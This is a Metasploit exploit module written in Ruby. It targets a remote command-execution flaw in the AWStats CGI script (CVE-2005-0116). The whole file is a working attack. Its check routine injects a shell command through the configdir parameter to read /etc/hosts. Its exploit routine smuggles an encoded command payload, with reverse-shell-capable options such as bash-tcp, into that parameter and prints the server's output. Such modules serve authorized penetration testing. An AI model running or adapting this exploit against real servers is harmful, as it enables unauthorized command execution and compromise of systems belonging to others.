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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(update_info(info,
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      'Name'           => 'AWStats configdir Remote Command Execution',
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      'Description'    => %q{
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          This module exploits an arbitrary command execution vulnerability in the
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          AWStats CGI script. iDEFENSE has confirmed that AWStats versions 6.1 and 6.2
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          are vulnerable.
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      },
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      'Author'         => [ 'Matteo Cantoni <goony[at]nothink.org>', 'hdm' ],
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      'License'        => MSF_LICENSE,
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      'References'     =>
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        [
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          ['CVE', '2005-0116'],
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          ['OSVDB', '13002'],
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          ['BID', '12298'],
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          ['URL', 'http://www.idefense.com/application/poi/display?id=185&type=vulnerabilities'],
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        ],
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      'Privileged'     => false,
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      'Payload'        =>
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        {
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          'DisableNops' => true,
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          'Space'       => 512,
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          'Compat'      =>
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            {
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              'PayloadType' => 'cmd cmd_bash',
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              'RequiredCmd' => 'generic perl ruby python telnet bash-tcp',
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            }
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        },
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      'Platform'       => 'unix',
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      'Arch'           => ARCH_CMD,
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      'Targets'        => [[ 'Automatic', { }]],
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      'DisclosureDate' => '2005-01-15',
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      'DefaultTarget'  => 0))
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      register_options(
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        [
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          OptString.new('URI', [true, "The full URI path to awstats.pl", "/cgi-bin/awstats.pl"]),
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        ])
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  end
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  def check
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    res = send_request_cgi({
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      'uri'      => normalize_uri(datastore['URI']),
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      'vars_get' =>
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      {
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        'configdir' => '|echo;cat /etc/hosts;echo|'
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      }
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    }, 25)
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    if (res and res.body.match(/localhost/))
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      return Exploit::CheckCode::Vulnerable
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    command = Rex::Text.uri_encode(payload.encoded)
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    urlconfigdir = normalize_uri(datastore['URI']) + "?configdir=|echo;echo%20YYY;#{command};echo%20YYY;echo|"
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    res = send_request_raw({
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      'uri'     => urlconfigdir,
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      'method'  => 'GET',
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      'headers' =>
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      {
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        'Connection' => 'Close',
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      }
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    }, 25)
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    if (res)
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      print_status("The server returned: #{res.code} #{res.message}")
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      m = res.body.match(/YYY\n(.*)\nYYY/m)
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      if (m)
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        print_status("Command output from the server:")
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        print("\n" + m[1] + "\n\n")
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      else
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        print_status("This server may not be vulnerable")
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      end
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    else
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      print_status("No response from the server")
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    end
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  end
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end
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